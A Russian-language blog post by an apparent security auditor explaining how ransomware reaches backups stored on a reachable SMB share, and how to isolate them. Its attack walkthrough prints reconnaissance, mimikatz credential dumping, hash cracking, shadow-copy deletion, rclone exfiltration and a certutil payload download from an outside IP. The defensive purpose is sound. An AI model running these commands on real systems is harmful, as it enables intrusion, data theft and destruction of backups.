Короткая версия истории уже разошлась: пришёл на аудит в производственную компанию, нашёл ту самую дыру, из-за которой в тот момент по стране прокатывалась волна атак шифровальщика VantaCore — резервные копии лежали на сетевом диске, доступном с обычных рабочих станций. Здесь — что именно происходит технически, когда шифровальщик добирается до такой инфраструктуры, и почему «копии есть» и «данные защищены» — это два разных утверждения.
С чего начинается атака
VantaCore, как и большинство современных операторов шифровальщиков-как-услуги (RaaS), редко ломает периметр «в лоб». Типичные точки входа для компаний такого профиля:
- фишинговое письмо с макросом или LNK-файлом, замаскированным под накладную или счёт;
- внешний RDP (порт 3389) с перебором паролей или уже слитыми учётными данными;
- уязвимый VPN-шлюз или забытый наружу сервис с непропатченной CVE.
Проверка периметра занимает у атакующего минуты:
nmap -sS -p3389,445,22,443,1723 --open -T4 203.0.113.0/24
nmap -p445 --script smb-vuln-ms17-010,smb-os-discovery 203.0.113.15Если на выходе видно что-то вроде Windows Server 2012 R2 без актуальных патчей и открытый SMB — это уже кандидат на первичный доступ через EternalBlue (CVE-2017-0144) или через подбор пароля локального администратора.
Разведка внутри сети
Получив плацдарм (одну зараженную рабочую станцию), атакующий или его инструмент автоматической разведки первым делом ищет сетевые шары и учётные данные. Именно на этом этапе становится критичной ошибка «бэкап на том же диске, что и рабочие файлы» — потому что найти его так же просто, как найти папку с накладными.
crackmapexec smb 10.10.0.0/24 -u guest -p '' --shares
SMB 10.10.0.5 445 FILESRV [+] WORKGROUP\guest:
SMB 10.10.0.5 445 FILESRV [*] Enumerated shares
SMB 10.10.0.5 445 FILESRV Share Permissions
SMB 10.10.0.5 445 FILESRV ----- -----------
SMB 10.10.0.5 445 FILESRV BACKUP_1C READ,WRITE
SMB 10.10.0.5 445 FILESRV COMMON READ,WRITEПрава READ,WRITE на шаре BACKUP_1C, видимой с гостевой учётки или с любой доменной учётки — это буквально ключ от сейфа на гвоздике рядом с сейфом. Дальше — просто:
smbclient //10.10.0.5/BACKUP_1C -N
smb: \> ls
1c_base_20240614.dt 1523000000 Thu Jun 13 03:00:00 2024
1c_base_20240613.dt 1521000000 Wed Jun 12 03:00:00 2024
file_server_full.zip 8452000000 Thu Jun 13 03:15:00 2024Для повышения привилегий и захвата доменных учётных данных стандартный набор — дамп процесса LSASS и последующий разбор хэшей:
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 892511
Session : Interactive
User Name : a.ivanov
Domain : CORP
NTLM : 8846f7eaee8fb117ad06bd6b30b7...
hashcat -m 1000 -a 0 ntlm.txt rockyou.txt --force
Recovered........: 3/12 (25.00%)С учёткой администратора домена в кармане атакующий уже видит все сетевые диски, все NAS, все ветки резервного копирования — потому что в 8 случаях из 10 бэкап-инфраструктура не имеет отдельной модели доверия, а просто «унаследована» от рабочей сети.
Что и почему сработало бы дальше
Дальнейший сценарий у большинства современных шифровальщиков, включая семейства класса VantaCore, стандартизирован до автоматизма:
- Уничтожение точек восстановления на самих хостах — чтобы жертва не могла откатиться штатными средствами Windows:
vssadmin delete shadows /all /quiet wbadmin delete catalog -quiet bcdedit /set {default} recoveryenabled No bcdedit /set {default} bootstatuspolicy ignoreallfailures - Массовое шифрование доступных сетевых шар, включая ту самую
BACKUP_1C— вирусу неважно, что это «резервная копия», для него это просто ещё один смонтированный диск с файлами.dt,.zip,.bak; - Эксфильтрация данных до шифрования — современные группировки почти всегда сначала выгружают базу и документы себе (двойное вымогательство), часто через легитимные утилиты, чтобы не triggerить антивирус:
rclone copy \\FILESRV\COMMON remote:exfil --transfers=8 certutil -urlcache -split -f http://185.220.101.x/payload.exe c:\windows\temp\upd.exe - Требование выкупа с угрозой публикации данных — суммы для компаний среднего размера в подобных кампаниях обычно стартуют от 3-5 млн рублей и растут при попытке торговаться или тянуть время.
В логах Windows такая атака оставляет вполне читаемый след, если есть кому его смотреть: массовые события Event ID 4624 (успешный вход) с одной учётки на десятки хостов подряд, Event ID 4648 (вход с явным указанием учётных данных — признак lateral movement), Event ID 5140 (доступ к сетевой шаре) с аномальным объёмом обращений ночью, а также сам факт вызова vssadmin.exe и wbadmin.exe из-под нестандартного родительского процесса.
Резервная копия, до которой может дотянуться вирус — это не резервная копия, а иллюзия безопасности
Как закрыть эту дыру технически
Изоляция бэкапа — это не «ещё один диск», а отдельный контур с другой моделью доверия. На практике это выглядит так:
- Правило 3-2-1-1-0: минимум 3 копии данных, на 2 разных носителях, 1 копия за пределами локальной сети, 1 копия неизменяемая (immutable), 0 ошибок при проверке восстановления;
- Отдельная учётная запись для выгрузки, без прав на удаление и модификацию уже загруженных версий — только
append/write-new. Для S3-совместимого хранилища это Object Lock в режиме Compliance:aws s3api put-object-lock-configuration \ --bucket backup-1c-prod \ --object-lock-configuration '{"ObjectLockEnabled":"Enabled","Rule":{"DefaultRetention":{"Mode":"COMPLIANCE","Days":14}}}' - Версионирование на хранилище — даже если процесс шифрования каким-то образом получит доступ на запись, старые версии файла останутся физически недоступны для перезаписи;
- Сегментация сети — бэкап-сервер и хранилище не должны быть видны из VLAN рабочих станций напрямую; доступ только по расписанию, только с одного хоста-агента, через выделенный firewall-правило;
- Отключение SMBv1 и ограничение анонимного доступа к шарам:
Set-SmbServerConfiguration -EnableSMB1Protocol $false Set-SmbShare -Name BACKUP_1C -SecurityDescriptor "D:(D;;GA;;;WD)" - Мониторинг самого факта резервного копирования, а не только его наличия в расписании — алерт, если задание не выполнилось, размер бэкапа аномально изменился (резкий рост объёма — частый признак шифрования копии перед выгрузкой) или к бэкап-хранилищу обратилась учётка, которая обычно этого не делает;
- Регулярное тестовое восстановление — раз в квартал реально поднять базу из резервной копии на изолированном стенде и убедиться, что это не битый архив.
Что в итоге
Ни один из этих пунктов не требует нового оборудования — только перенастройку того, что уже куплено и оплачено. В разобранном кейсе весь комплекс мер занял неделю и обошёлся в разы дешевле одного дня простоя производства. Дыра, через которую шифровальщик добирается и до рабочих файлов, и до архивов одним движением — это архитектурная ошибка, а не вопрос бюджета на безопасность.